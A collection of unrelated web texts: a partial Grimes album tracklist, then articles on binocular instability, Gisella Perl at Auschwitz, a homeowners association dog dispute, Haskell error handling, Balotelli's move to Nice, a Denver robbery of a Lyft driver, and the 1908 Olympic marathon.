9. "Colour of Moonlight (Antiochus)" (featuring Doldrums 4:00 10. "Symphonia IX (My Wait Is U)" 4:53 11. "Nightmusic" (featuring Majical Cloudz 5:03 12. "Skin" 6:09 13. "Know the Way (Outro)" 1:45 Total length: 48:04  Visions [81] iTunes Store bonus track No. Title Length 14. "Christmas Song" (featuring Jay Worthy) 2:58  Visions [82] Amazon MP3 bonus track No. Title Length 14. "Angel" 1:22  Visions [83] — Japanese version (bonus tracks) No. Title Length 14. "Life After Death" 2:48 15. "Ambrosia" 3:31  Visions [84] — Canadian 12" vinyl version No. Title Length 1. "Oblivion" 4:12 2. "Eight" 1:48 3. "Circumambient" 3:43 4. "Life After Death" 2:48 5. "Nightmusic" (featuring Majical Cloudz) 5:03 6. "Ambrosia" 3:31 7. "Symphonia IX (My Wait Is U)" 4:51 8. "Genesis" 5:15 9. "Skin" 6:09 Total length: 38:22  Visions [41] Rough Trade version (disc 2) No. Title Length 1. "Ambrosia" 3:33 2. "Christmas Song" (featuring Jay Worthy) 3:00 3. "Genesis" (Skip Remix) 4:01 4. "Song for Ric" (featuring Majical Cloudz) 3:25 5. "Be a Body" (Baarsden Remix) 3:25  Visions [41] — Resident version (disc 2) No. Title Length 1. "Angel" 1:22 2. "Life After Death" 2:48 3. "Oblivion" (Baarsden Remix) 3:25 4. "Be a Body" (Tokori Remix) 4:55  Personnel [ edit ]  Credits adapted from the liner notes of Visions.[85]  Grimes – vocals, production, poetry  Anna Akhmatova – poetry  Jasper Baydala – layout  Sebastian Cowan – mastering, mixing  Mark Khair – alien head design  Charts [ edit ]  Release history [ edit ]  Region Date Label Ref. Canada January 31, 2012 Arbutus [97] United States February 21, 2012 4AD [98] Australia March 1, 2012 Remote Control [99] Germany March 9, 2012 4AD [100] Ireland [101] United Kingdom March 12, 2012 [102] France March 13, 2012 [103] Japan June 6, 2012 Hostess [83]
-When sight can be tiring and painful  By Amanda Hargreaves  Producer, Through the Looking Glass  Binocular instabillity may be more common than thought Imagine what it is like not to be able to read without getting a headache from trying to focus on the print, which seems to dance and blur before your eyes. Or even how it feels not to be able to meet someone's eyes and hold their gaze, because you are seeing two faces and four eyes. If you are one of the 15% of the population who suffer from a condition called binocular instability, then that is the reality - but you may not even realise you have it. Binocular vision involves the control and co-ordination of both eyes. This is affecting a sizable number of our children  Nadia Northway  Visual Stress Clinic Although each eye sees a separate image, these images are blended in the brain into one single picture. The eyes are rarely completely straight. In most of us, they drift slightly and this is controlled without us even noticing. If our eyes drift too much, this can cause headaches and discomfort, especially when reading. The result is delayed processing of information at the most basic level. It is a condition that makes reading and learning arduous. Yet it can be cured simply and cheaply with eye exercises and spectacles. 'I want to see properly' Megan Slater, 15, is now undergoing treatment after years of failing at school: "I want to be able to see properly - I don't want to be frustrated. WHAT TO LOOK FOR If your child is having difficulties at school, check if the following apply: They complain of tiredness or headaches after reading They complain of the print becoming blurry They find it easier to read on a coloured background They rub their eyes after reading for a while They often lose their place when reading aloud They often misread short words "When I get frustrated the teachers tell me to calm down and I just get really angry." Brigid Sundaram remembers having problems when she was at university, studying biochemistry. "I had to read a lot of papers with tiny print," she said. "After 20 minutes I'd usually be asleep in the library, it was exhausting. "I've always had to work harder than anyone else to achieve the same results." Brigid struggled for years at school and university before finally getting the help she needed. The reason is that the condition isn't easily spotted in a routine eye test. You could have 20/20 vision and still have binocular instability. Diagnosis a problem According to Nadia Northway, who runs the Visual Stress Clinic at Glasgow Caledonian University, diagnosis is a problem. She is one of only 1,500 specially trained orthoptists who can spot the subtleties of binocular instability. Orthoptists only practice in hospitals and are therefore hard to access. On the High Street, only some optometrists have the special training required to diagnose the condition. Funding is another key issue. Professor Bruce Evans, director of research at the Institute of Optometry, has been campaigning for proper funding for the detailed eye test required to diagnose binocular instability. He said: "We have had sympathy from politicians, but so far no promises of proper funding for this. It has been a very frustrating process." Significant problem There is no doubt in the mind of Nadia Northway about the impact of the condition. WHAT TO DO If you suspect you or a member of your family may have Binocular Instability and/or Visual Stress (Mears-Irlen Syndrome: Get a regular eye test (they are free now on the NHS) at least once very two years if you are symptom free Children should have their eyes tested once a year, as their sight changes all the time If you suspect that you have a problem even though you are already wearing glasses, or even if you are given the all clear in a routine eye test, ask your GP to refer you to the orthoptics department of your local hospital There you can be properly assessed and given treatment if necessary Alternatively, ask about optometrists in your area who have a particular interest in reading problems. "This is affecting a sizable number of our children," she said. "Given that one in 16 people leave school with inadequate literacy skills and at least half of those may have vision problems, we should be campaigning in the streets about this." And the condition also runs in families, so if the problem isn't spotted, you and your relatives could spend years battling against this hidden disability without knowing what the problem is. After all, how does a five-year-old child know how reading should feel? The child would probably just assume that everybody finds it tiring and painful. Brigid Sundaram realised that all three of her children had the same symptoms as herself, and sure enough they were all diagnosed with Binocular Instability and Visual Stress, also known as Meares-Irlen Syndrome. Both problems often co-exist and have very similar symptoms. And the scale of the problem is still revealing itself. According to research that Nadia Northway is currently carrying out on adults with literacy problems, as many as 80% appear to have binocular instability and/or visual stress. "When you extrapolate from those figures what that means for the general population, it's likely that as many as one third of us may have one or other of these conditions" said Nadia. Edi Stark presents Through the Looking Glass on Monday 13 October on BBC Radio 4 at 2100 BST.  E-mail this to a friend Printable version Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these?
-The true story of the woman who performed mercy abortions at Auschwitz  Gisella Perl was Romanian and Jewish. She was a gynaecologist at a time and place where very few women went into the medical professions. In 1944, she and her entire family were shipped off to Auschwitz, where Perl was instructed to provide medical care for her fellow inmates — medical care that was supposed to happen without even the most basic medical supplies.  In this position, she was officially employed by Josef Mengele, and she saw what happened to women who entered Auschwitz while pregnant. The short answer was death. The long answer was that those deaths were often horrifying and drawn-out. So Gisella Perl gave herself a new job — protecting women by helping them hide evidence of pregnancy and by performing abortions with her bare hands.  I'd never heard Perl's story before. It's heartbreaking. And it's riveting. The Holocaust History Project has a long and well-cited version.
-Homeowners Association threatens to take dog from woman's home Copyright by WCBD - All rights reserved Video  A Mt. Pleasant woman says her Homeowners Association (HOA) is forcing her to get rid of her dog, even though it's done nothing wrong.  Nancy Butler says, "Nobody has the right to come and take any one's dog away from them."  Butler got a letter from the HOA at Seaside Farms. It says she has a "pit bull dog" at her house and pit bulls are not permitted on Seaside Farms property. The letter says if she doesn't remove the dog, there will be fines and possible legal action to take the dog away.  Butler says, "I will do anything to keep that dog. I don't care. It's my dog, I love that dog."  The dog in question is "Bee", who was rescued from the Charleston Animal Society. Nancy says Bee has never caused any problems.  She says, "He's never been outside the fence. I don't walk him, I don't walk."  The HOA told Nancy she needed to get a letter from a veterinarian saying Bee is not a pit bull. She got three of those letters from three different veterinarians and the HOA is still threatening to take the dog away. Joe Elmore, CEO of the Charleston Animal Society, says it isn't even possible for Bee to be a "pit bull".  Elmore says, "Pit bull is not a breed of dog. It's a common misconception. The American Kennel Club does not recognize 'pit bull' as a breed of dog. A lot of folks mistakenly think a dog is a pit bull when it doesn't even exist as a breed. It might be a number of other legitimate breeds of dogs."  He says there are better ways to insure a safe neighborhood than breed discrimination.  He says, "The temperament, the behavior, the socialization, the sex, the reproductive status."  There will be an HOA meeting at the end of the month and Nancy, representatives from the Charleston Animal Society, and other organizations all plan to attend. Nancy says she will protect Bee however she can.  She says, "They depend on you for everything. I depend on him too."  News 2 also talked to attorney Kelsey Gilmore-Futeral, Esq. about this issue. She is the Chair of the Animal Law Committee for the South Carolina Bar. She says breed specific legislation is legal, and HOAs can issue fines or remove an animal that is banned. She says the language in the Seaside Farms breed restriction is not specific.  She says, "The problem you have with that is that a pit bull dog is not a specific breed. So when you come to banning things like Dobermans, German Shepherds, Mastiffs, English Bulldogs, things that are considered actual breeds, it's a little more specific and probably a little more enforceable than a general description of a pit bull-like dog that are frequently misidentified anyway."
-In 2007, Eric Kidd wrote a quite popular article named 8 ways to report errors in Haskell. However, it has been four years since the original publication of the article. Does this affect the veracity of the original article? Some names have changed, and some of the original advice given may have been a bit... dodgy. We’ll take a look at each of the recommendations from the original article, and also propose a new way of conceptualizing all of Haskell’s error reporting mechanisms.  I recommend reading this article side-to-side with the old article.  1. Use error No change. My personal recommendation is that you should only use error in cases which imply programmer error; that is, you have some invariant that only a programmer (not an end-user) could have violated. And don’t forget, you should probably see if you can enforce this invariant in the type system, rather than at runtime. It is also good style to include the name of the function which the error is associated with, so you say “myDiv: division by zero” rather than just “Division by zero.” Another important thing to note is that error e is actually an abbreviation for throw (ErrorCall e) , so you can explicitly pattern match against this class of errors using: import qualified Control.Exception as E example1 :: Float -> Float -> IO () example1 x y = E.catch (putStrLn (show (myDiv1 x y))) (\(ErrorCall e) -> putStrLn e) However, testing for string equality of error messages is bad juju, so if you do need to distinguish specific error invocations, you may need something better.  2. Use Maybe a No change. Maybe is a convenient, universal mechanism for reporting failure when there is only one possible failure mode and it is something that a user probably will want to handle in pure code. You can easily convert a returned Maybe into an error using fromMaybe (error "bang") m . Maybe gives no indication what the error was, so it’s a good idea for a function like head or tail but not so much for doSomeComplicatedWidgetThing .  3. Use Either String a I can’t really recommend using this method in any circumstance. If you don’t need to distinguish errors, you should have used Maybe . If you don’t need to handle errors while you’re in pure code, use exceptions. If you need to distinguish errors in pure code, for the love of god, don’t use strings, make an enumerable type! However, in base 4.3 or later (GHC 7), this monad instance comes for free in Control.Monad.Instances ; you no longer have to do the ugly Control.Monad.Error import. But there are some costs to having changed this: see below.  4. Use Monad and fail to generalize 1-3 If you at all a theoretician, you reject fail as an abomination that should not belong in Monad , and refuse to use it. If you’re a bit more practical than that, it’s tougher to say. I’ve already made the case that catching string exceptions in pure code isn’t a particularly good idea, and if you’re in the Maybe monad fail simply swallows your nicely written exception. If you’re running base 4.3, Either will not treat fail specially either: -- Prior to base-4.3 Prelude Control.Monad.Error> fail "foo" :: Either String a Loading package mtl-1.1.0.2 ... linking ... done. Left "foo" -- After base-4.3 Prelude Control.Monad.Instances> fail "foo" :: Either String a *** Exception: foo So you have this weird generalization that doesn’t actually do what you want most of the time. It just might (and even so, only barely) come in handy if you have a custom error handling application monad, but that’s it. It’s worth noting Data.Map does not use this mechanism anymore.  5. Use MonadError and a custom error type MonadError has become a lot more reasonable in the new world order, and if you are building your own application monad it’s a pretty reasonable choice, either as a transformer in the stack or an instance to implement. Contrary to the old advice, you can use MonadError on top of IO : you just transform the IO monad and lift all of your IO actions. I’m not really sure why you’d want to, though, since IO has it’s own nice, efficient and extensible error throwing and catching mechanisms (see below.) I’ll also note that canonicalizing errors that the libraries you are interoperating is a good thing: it makes you think about what information you care about and how you want to present it to the user. You can always create a MyParsecError constructor which takes the parsec error verbatim, but for a really good user experience you should be considering each case individually.  6. Use throw in the IO monad It’s not called throwDyn and catchDyn anymore (unless you import Control.OldException ), just throw and catch . You don’t even need a Typeable instance; just a trivial Exception instance. I highly recommend this method for unchecked exception handling in IO: despite the mutation of these libraries over time, the designers of Haskell and GHC’s maintainers have put a lot of thought into how this exceptions should work, and they have broad applicability, from normal synchronous exception handling to asynchronous exception handling, which is very nifty. There are a load of bracketing, masking and other functions which you simply cannot do if you’re passing Eithers around. Make sure you do use throwIO and not throw if you are in the IO monad, since the former guarantees ordering; the latter, not necessarily.  7. Use ioError and catch No reason to use this, it’s around for hysterical raisins.  8. Go nuts with monad transformers This is, for all intents and purposes, the same as 5; just in one case you roll your own, and in this case you compose it with transformers. The same caveats apply. Eric does give good advice here shooing you away from using this with IO. Here are some new mechanisms which have sprung up since the original article was published.  9. Checked exceptions Pepe Iborra wrote a nifty checked exceptions library which allows you to explicitly say what Control.Exception style exceptions a piece of code may throw. I’ve never used it before, but it’s gratifying to know that Haskell’s type system can be (ab)used in this way. Check it out if you don’t like the fact that it’s hard to tell if you caught all the exceptions you care about.  10. Failure The Failure typeclass is a really simple library that attempts to solve the interoperability problem by making it easy to wrap and unwrap third-party errors. I’ve used it a little, but not enough to have any authoritative opinion on the matter. It’s also worth taking a look at the Haskellwiki page.
-Mario Balotelli's intention was always to be in France this summer. When the draw was made for the Euros, he posted on Instagram that he couldn't wait for it. Antonio Conte's reaction was withering. What does he mean he can't wait? Can't wait to watch it on TV? As expected, Balotelli was nowhere near the Italy squad, but he has still ended up in France all the same. Just later than he thought.  On Tuesday night, Balotelli touched down in the Cote d'Azur. Then on transfer deadline day, he underwent a medical and signed a contract with Nice. To call it box office -- even if it has caused quite a stir in France during a window when Zlatan Ibrahimovic and David Luiz left Ligue 1 -- would still be an overstatement.  Generally speaking the waning interest in Balotelli is almost as sad as the disdain with which any effort to kickstart his career is received. Patience has been lost. People are cynical and are entirely justified to feel that way. Time and again, Balotelli has done nothing to prove them wrong.  And yet hope is always the last thing to die. No matter how many times we have been disappointed and told ourselves that by now we really ought to know better, the idea that Peter Pan might finally grow up and fulfil his undoubted potential remains strangely captivating. Our better angels want him to do well. It's one of the reasons his career and this transfer still piques our curiosity.  Another reaction, of course, is: Has it really come to this? With all due respect, if you had said four years ago that he would be turning out in the red and black of Nice and not Milan, people would have laughed. You probably recall he was appearing on the front page of Time magazine and featured on its list of the 100 most influential people in the world not that long ago.  Things didn't go well for Balotelli his second time around at AC Milan, but he gets a new chance at Nice.  These were the days of the Incredible Hulk, when Balotelli blasted a couple of goals past Germany in the Euro 2012 semifinal. He then ripped off his blue Italy jersey not to reveal a "Why Always Me?" T-shirt -- like he did in Man City's 6-1 win against United in the Manchester derby -- but to flex the muscles from whence his super powers derived.  For a brief flashing moment even neutrals believed the hype and foresaw Balotelli, then only 21, keeping the promise he made to one day win the Ballon d'Or. Now 26, you would have thought his next move would be for the kind of money Gareth Bale or Paul Pogba commanded. Quite depressingly, his value has been in a downward spiral instead and he joins Nice for nothing. "Balotelli on a free is still paying over the odds by Nice," joked Jamie Carragher.  We couldn't have known it at the time, but that night in Warsaw four years ago -- the quarter-of-an-hour in which he smashed the Germans to smithereens -- was Balotelli's peak, the apex of his career. Pundits from Billy Costacurta to Zvone Boban have even argued that it was the last time Balotelli did anything of genuine significance in the game. While that might seem to be pushing it -- Balotelli did score 12 goals in 13 games in the first six months of his first spell at Milan -- they're right at least when it comes to the world stage. Four years is an awful long time. You might say "Waiting for Balotelli" is football's adaptation of a Samuel Beckett play.  When he moved to Liverpool, his agent Mino Raiola made no secret that it was his client's last chance in the calcio che conta -- the football that matters. He even revealed to La Gazzetta dello Sport that he had made a bet with Balotelli. "You've got a four-year contract and I am not getting you out of it. Either you leave Liverpool for 60 or 70 million and I win my bet or you die there." Raiola lost his bet. Balotelli has gone from being his highest-profile, most-talked-about client along with Ibrahimovic to the one we see and hear little of. Pogba has eclipsed him. Romelu Lukaku and Blaise Matuidi are subjects of greater interest.  Balotelli no longer makes headlines on or off the pitch. The myth-making has stopped. The eccentricity goes unseen. The larger than life public persona, blown up beyond his control and comfort level by a hype machine turned up to 11, has shrunk. No one would ever have put Balotelli down as the shy and retiring type and yet he has retreated from the limelight for a number of understandable reasons. He isn't quite as reclusive as J.D. Salinger, who perhaps would have discerned similarities in Balotelli and a 21st century Italian Holden Caulfield, but the pursuit of a relatively simpler, more balanced life is clear.  People all too easily forget Balotelli is human just like you and me. He's now a father and the estrangement from the mother of his daughter has not made things easy. His adoptive father has also passed away. Events like these in anybody's life put things into perspective and force you to re-evaluate what's important. Contrary to his image, Balotelli isn't a bad boy. He means well. Maybe, just maybe, Nice is the right place for him.  Italy captain Gigi Buffon hailed his move for its apparent "humility," opening a door should his performances merit a call-up that had seemed closed forever after his last appearance for the Azzurri when he was hooked at half-time against Uruguay out of fear that he would get sent off.  Gigi Buffon has gone as far as to say that a good showing in France could pave the way back to the national team for Balotelli.  Going back to Serie A would have been the wrong thing to do. It would have been romantic to see him at Bologna where great strikers from Beppe Signori to Roberto Baggio traditionally went to resurrect themselves, or Palermo, the city where he was born. But the media attention would have been too intense. He would never have been left alone even at Chievo. The other options were Ajax, Sion, Besiktas and Wolves. Again, with all due respect, that's how far his standing has fallen.  You can hope Nice's intentions are good and that this isn't just a publicity stunt by the new owners, who could be accused of wanting a big name just for effect and an excuse, rather appropriately in Balotelli's case, to set off some fireworks. Manager Lucien Favre didn't seem too enthused last week and spoke for many of his peers when he said: "He hasn't played in I don't know how long. I haven't seen him on TV for years."  Although right to be sceptical, Favre would be wrong, as we all would, to write Balotelli off as a completely lost cause. Nice fans appreciate this better than most. They have seen wasted talent belatedly and improbably fulfilled before. Hatem Ben Arfa, who for the record is a full three years older than Balotelli, surprised us all last season by finally playing to his potential, scoring 17 goals and laying on six assists for his teammates before realising his dream and moving to PSG on a free.  For now this is the model for Balotelli to follow, as is the story of Giuseppe Garibaldi, Italy's great unifier who was born in Nice. For someone who divides his country and opinions around the world, Balotelli could think of few better people to be inspired by. "Garibaldi sent me," he quipped on Instagram and who knows this could be his personal Risorgimento -- the Resurgence his career so badly needs.  James covers the Italian Serie A and European football for ESPN FC Follow him on Twitter @JamesHorncastle.
-DENVER (CBS4) – Denver police are investigating an armed robbery that took place early Thursday morning.  The robbery happened near 7th Avenue and Albion Street in Denver and involved a Lyft driver.  Driver Cory Anderson spoke exclusively with CBS4’s Dillon Thomas, just days after nearly losing his life.  Anderson was shot at as he attempted to drive away from the armed robbery.  Anderson said he was waiting in his car, just moments after completing a separate drive, when the incident took place.  “I hear a tap on my window, it sounded like a ring,” Anderson said. “I look up, and it was a gun in my face.”  Denver police said three black men are the center of the investigation.  “There were six arms that are reaching in (my) car,” Anderson said.  Anderson said he gave the robbers everything they asked for except his cellphone. He said there was a gun to his head the entire time he was dealing with the suspects.  “(The gunman) was like, ‘don’t move, or I will blast you,’” Anderson said.  Anderson said he noticed the gun slightly re-positioned when the gunman adjusted his stance. With the gun barrel no longer pointed directly at his head he decided to run.  “I slammed (the car) into drive, and slammed on the accelerator,” Anderson said.  As he sped away from the robbers, Anderson said he heard a loud noise.  “(The door) slammed shut a little bit, and I hear pop, as loud as it can,” Anderson said.  It wasn’t until Anderson pulled over to call for help blocks away, that he noticed how close he came to losing his life. A hole, created by a bullet, was located on the shaft of the door, only inches away from his head.  Though he was not hit by the bullet, Anderson noticed how fortunate he was to be alive.  “(The bullet) came within inches of hitting me right in the head,” Anderson said.  Police had to pull the bullet from the vehicle. The damage done by the bullet showed that it stopped near a metal plate in the door frame of the car, the last part of the car before reaching Anderson’s head.  Police were unable to immediately locate the suspects.  Meanwhile, Anderson said he was dealing with significant hearing damage and migraines caused by the gunshot.  “(My hearing) is super muffled. You can barely hear out of it,” Anderson said.  Anderson said frequent flashbacks to the shooting have caused him to have early stages of PTSD. He told CBS4 driving was difficult to do as he had frequent flashbacks.  Driving for Lyft was Anderson’s only source of income.  While the company investigated the shooting, Anderson was unable to drive for profit. He set up a GoFundMe page, to help pay his bills while he awaits a new job.  “I am really lucky to be alive. On the other hand, it angers me people would take a life over a few dollars,” Anderson said. “I didn’t get shot. I lost some money and things, but your life is worth more than that it.”  Dillon Thomas is a reporter at CBS4 and a Colorado native. He believes everyone has a story, and would love to share yours! You can find more of his stories by following him on Twitter, @DillonMThomas.
-On 24 July 1908, the final day of athletics at the Olympics, 100,000 people crammed into the stadium at White City in London to witness the conclusion to the marathon, with estimates putting the number locked outside at up to a million. If this seems an unusual amount of interest in viewing just the final 400 yards, or 0.87%, of what is widely seen now as the least explosive race in the Olympic lineup, it was to be fully justified.  Triplet threat: the Estonian sisters who will run in Rio Olympics Read more  “It would be no exaggeration,” the New York Times wrote the following day, “to say that the finish of the marathon at the 1908 Olympics in London was the most thrilling athletic event that has occurred since that Marathon race in ancient Greece, where the victor fell at the goal and, with a wave of triumph, died.”  When it came to drama, intrigue and occasional comedy, there was little to beat the early Olympic marathons. The event was created for the first modern Games in 1896, and its habit for creating scandal and legend, which was to reach its apogee that warm summer’s day in London, had been immediately evident – the third-placed finisher in Athens, Spyridon Belokas, was disqualified for travelling part of the course by carriage. In Paris four years later the course markings were so poor that confused athletes could be seen running randomly through most of central Paris; American Arthur Newton finished fifth but insisted that nobody had overtaken him all day, while his compatriot Richard Grant said he had been deliberately run over by a cyclist as he was about to catch up with the leaders. In a blow to fans of nominative determinism an athlete called Champion came second, and one named Fast finished third.  In St Louis in 1904, John Lorz had come home 16 minutes ahead of his nearest rival and soaked up the applause of the crowd and the congratulations of the first lady, Alice Roosevelt, before upon the arrival of the “runner-up” admitting that he had actually retired at the nine-mile mark and travelled most of the remaining distance in a car. He was banned from sport for life (though was allowed to return the following year). In that same race South Africa’s Len Tau, who with John Mashiani in the same event became the first ever black African Olympic athlete, managed to finish ninth despite running barefoot and at one stage being chased a mile off course by a particularly ferocious dog.  That race was held in 35C heat and over a course described by the trainer of the eventual champion, Thomas J Hicks, as “the most difficult a human being was ever asked to run over”. The winner’s performance was assisted, if that is the appropriate word, by regular doses of strychnine (now most commonly used as rat poison), egg whites and brandy, though Hicks is practically carried across the line (not the first time he got a helping hand that day, if this picture is anything to go by).  And that brings us to London, and those 100,000 people crammed into White City Stadium. They included the Daily Mail’s correspondent, Sir Arthur Conan Doyle – “I do not often do journalistic work, but I was tempted chiefly by the offer of an excellent seat,” he wrote in his autobiography – and Queen Alexandra, who was so excited about the event that she demanded to be involved in both the start and the finish. Not only was she to witness its conclusion in person, but she also sent a telegram whose arrival was to prompt the Princess of Wales to signal the start of the race.  This was originally to take place on a street outside Windsor Castle, but the princess (the current Queen’s grandmother) wanted her children to watch, so the start was moved by a few hundred yards inside the castle grounds, to a point just outside the nursery. That and the desire to place the finish line directly in front of the queen extended the length of the marathon, which had previously been loosely set at between 25 and 26 miles, to 26 miles and 385 yards, which remains the official marathon distance to this day. Those extra 385 yards, though, were to prove extremely important.  The telegram arrived at precisely 2.33pm and the princess launched the 55 athletes along a course crowded with onlookers. In London the swelling crowd was entertained with heats of the 110m hurdles, “catch-as-catch-can” wrestling and diving – the Olympic pool was in the main stadium, just inside the athletics track. And roughly every five minutes, after each mile of the route, the name of the current marathon leader was read out: first Thomas Jack then Jack Price, both Englishmen, then for most of the second half of the race, Charles Hefferon. The South African was still leading at the 24-mile post, which stood outside No28 Railway Cottages, Willesden Junction. As he passed, a rocket went up to signal to those in the stadium that their wait was almost over. But Hefferon was fading, and with two miles to go he was passed by the Italian Dorando Pietri. Inside the stadium, the crowd turned towards the gate and waited for the first sight of the leader.  “We are waiting anxiously, eagerly, with long, turbulent swayings and heavings, which mark the impatience of the multitude,” wrote Conan Doyle. “Through yonder door he must come. Every eye in the great curved bank of humanity is fixed upon the gap. He must be very near now, speeding down the streets between the lines of shouting people. We can hear the growing murmur. Every eye is on the gap. And then at last he came.”  If they were expecting some kind of muscled Adonis, the crowd were in for a shock: Pietri was 5ft 2in, a pastry chef by trade, and looked younger than his 22 years. Conan Doyle describes him as “a little man, a tiny boy-like creature”. Pietri pauses momentarily, as if physically blown backwards by the wall of noise that has suddenly struck him, and then starts to teeter around the track.  “As I entered the stadium the pain in my legs and in my lungs became impossible to bear,” he wrote in the Italian magazine Sport Illustrato seven years later. “It felt like a giant hand was gripping my throat, tighter and tighter. Willpower was irrelevant now. If it hadn’t been so bad I would not have fallen the first time. I got up automatically and launched myself a few more paces forwards. I no longer knew if I was heading towards my goal or away from it. They tell me that I fell another five or six times and that I looked like a man suffering from paralysis, stumbling with tiny steps towards his wheelchair. I don’t remember anything else. My memory stops at the final fall.”  When he first fell Jack Andrew, the clerk of the course – seen in pictures holding a comedy outsized loudhailer – and Dr Michael Bulger of the Irish Amateur Athletic Association and the chief medical officer that day, went to his aid. In doing so they destroyed his chances of success, and they were to be strongly criticised for their actions. Nearly 50 years later, when Andrew’s daughter was sorting through her late father’s effects, she discovered his account of the race.  “As Dorando reached the track he staggered and after a few yards fell. I kept would-be helpers at bay, but Dr Bulger went to his assistance. I warned him that this would entail disqualification, but he replied that although I was in charge of the race, I must obey him. Each time Dorando fell I had to hold his legs while the doctor massaged him to keep his heart beating. Each time he arose we kept our arms in position behind (not touching him) to prevent him falling on his head, and as he reached the tape he fell back on our arms.”  Conan Doyle is strangely moved by the Italian’s bravery. “It is horrible, and yet fascinating, this struggle between a set purpose and an utterly exhausted frame,” he wrote. Pietri’s penultimate fall took place a few yards from his seat. “Amid stooping figures and grasping hands I caught a glimpse of the haggard, yellow face, the glazed, expressionless eyes, the long, black hair streaked across the bow. Surely he is done now. He cannot rise again.”  It is at this point that a second athlete enters the stadium. He has the stars and stripes on his chest: an American. This changes everything.  When the American team first arrived at the Olympic stadium for the opening ceremony, they were horrified to discover that amid the forest of flags decorating the roof their own was nowhere to be seen, and far from mollified when organisers explained that they simply couldn’t find one. Sweden, whose flag was also absent, refused to participate in the ceremony at all but though the Americans continued they were to have their revenge: as they paraded before the king their flag-bearer, Ralph Rose (organisers having presumably now found a flag for him to bear), refused to conform to protocol and respectfully dip the flag.  According to Amos Alonzo Stagg, of the American Olympic Council, this inspired considerable animosity – though America’s success in the Games might also have had something to do with it – and the two nations rarely stopped bickering for the remainder of the games. The highlight of this unfortunate episode came in the 400m final, which was contested the day before the marathon by three Americans and a single Briton. Though an American came first, he was judged to have illegally blocked the Brit, Wyndham Halswelle, and disqualified. When the race was re-run John Carpenter’s team-mates refused to have anything to do with it, resulting in the first and so far only walkover victory at an Olympic Games.  With an American victory the only alternative, every man, woman and child in the stadium would have happily picked up Pietri and personally carried him over the line. And that, more or less, is what happened, with the Italian bundled to glory by a posse of Brits.  The American, Johnny Hayes, completed his circuit of the track without drama and promptly lodged an appeal. The Press Association however reported that he himself had received assistance as he entered the stadium and, after finishing third, Hefferon launches an objection against both Pietri and Hayes, though he promised to withdraw it if the Americans similarly withdrew theirs. In the end he withdrew it anyway, the Americans did not and Pietri was disqualified, a measure described by Sport Illustrato as “draconian and pitiless”. Jubilant Americans carried their man around the stadium on a table. “Wasn’t it great,” the US team manager, Mat Halpin, said. “We can forget what has gone before, although we will always feel that we have been unfairly treated.”  Queen Alexandra, who when Pietri was first declared the winner had been so delighted she “beat a tattoo on the floor of the stand unrestrainedly with her umbrella”, insisted that the Italian should get some reward for his efforts, and during the closing ceremony presented him with a small silver cup. “When I was called to see Her Majesty I was trembling all over,” he said. “I felt as if I should fall as I did in the race. Then she spoke to me very kindly. ‘Bravo’ was the only word I could understand, but I knew what she meant by her smile. This cup is balm to my soul. I shall treasure it to the end of my life.”  “The cheering knew no bounds,” reported The Guardian. “He went as he had come, not with the other competitors, but alone. Behind him he left in the hearts of all spectators an imperishable impression – the impression of a solitary hero, to whom they would have liked to award the palm of victory, and for whom they made a scene of rare and remarkable enthusiasm.”  Pietri is also said to have indulged in some mid-race strychnine, but blamed his failure to complete the race on eating too much steak for breakfast. The extent to which sports nutrition has changed in the past century can be seen from the testimony of Joseph Forshaw, who won the bronze medal (having, incidentally, soaked his socks in beef fat to aid comfort). “We followed the plan adopted at previous marathon races, eating a good breakfast of steak, following this with two raw eggs, some tea and toast,” he said. “On the way we took nothing but water, except four miles from the finish, having a stitch in the side, I took a drop of brandy. Ordinarily I don’t believe in drinking spirits, but I had to do something as the side was giving me trouble.”  Pietri, despite speaking not a word of English, is immediately signed up by an enterprising promoter and sent on a tour of London music halls. Doyle starts a collection among readers of the Daily Mail that raises £300. When he finally leaves, two weeks after the marathon, a crowd gathers at Charing Cross station to see him off, and another awaits in Turin to welcome him home, where he was presented with another cup.  Life would never be the same for Pietri. Though his athletics career was not helped when, within three weeks of his return, the great Italian wrestler Giovanni Ralcevich accidentally knocked him from his bicycle, breaking a leg.  Two months later he boards a boat from Southampton to New York, where he has been challenged to a rematch with Hayes at Madison Square Gardens. He had, he said, “done absolutely no training since the day of the marathon” and had unsuccessfully asked for a delay “to give me an opportunity for some real training”. It was a very different occasion, run over 262 laps of an indoor track in an atmosphere heavy with dust and tobacco smoke, but was no less popular than the first: 20,000 fans fill the stadium, with 10,000 left disappointed outside. In what the New York Times described as “the most spectacular foot race that New York ever has witnessed”, Pietri won by half a lap, and again, more convincingly still, in a second rematch held the following March.  His fame was such that he inspired a young man in New York to pen his very first complete song, about an Italian man who sells his barber shop and bets the proceeds on Pietri winning a race. “He run-a, run-a, run like anything/One-a, two-a hundred times around da ring/I cry, ‘Please-a nunga stop!”/Just then Dorando he’s a drop/Goodbye poor old barber shop”. The man is paid $25 for the song, but goes on to do better with others such as White Christmas and There’s No Business Like Show Business. His name is Irving Berlin.  Pietri raced for the last time in Gothenburg in October 1911, by which time he had run 46 races in three years of professionalism, earning some £200,000. He opened a hotel with his brother in his native Carpi, and later moved to San Remo and opened a garage. In 1942, aged 56, he died.  In 1948, when the Games returned to London, the Evening News published an interview with Pietri. He was, they reported, now 65 and running a pub in Birmingham which had been called The Temperance, but had just been renamed Cafe Dorando. This news astonished and outraged residents of Carpi, who sent a four-man team led by the mayor to investigate the claims. They found that the bar owner had no trophies, no passport and could not even understand their dialect. His name, it turned out, was Peter Palleschi, from Calamecca near Pistoia. He was jailed for fraud.  They still haven’t forgotten him in Carpi, and four years ago, on the centenary of his most famous moment, a giant statue was unveiled in the town centre. The statue is called Dorando the Winner. “Though it’s true that I lost the race I won in fame, and started along a road that has taken me a very long way,” he wrote. “My current life is so happy that the race seems to me like divine providence.”  What the Guardian said  Saturday, July 25, 1908  The Marathon race of the Olympic Games was won yesterday by J.J. Hayes from the United States. The race was from Windsor Castle to the Stadium - a distance of 25 miles 385 yards. Fifty-five runners started, representing sixteen nations. It was 2.30 in the afternoon and the heat was great.  The first man to enter the Stadium was P. Dorando of Italy. Falling four times as he made the circuit of the track, he was helped along by friends, and reached the tape first. Hayes, who was about 80 yards behind Dorando, finished second and C. Hefferon, South Africa, was third. A protest against Dorando on the ground his having received help was upheld by the judges, who awarded the race to Hayes. Hayes did the distance in 2hrs. 55min. 18 2-5sec.  A rumour got about last night that Dorando had died from the effects of the terrible strain of the race. This was untrue. Though Durando was obviously in the greatest distress in the Stadium, he had sufficiently recovered by nine o’clock last night to walk out from 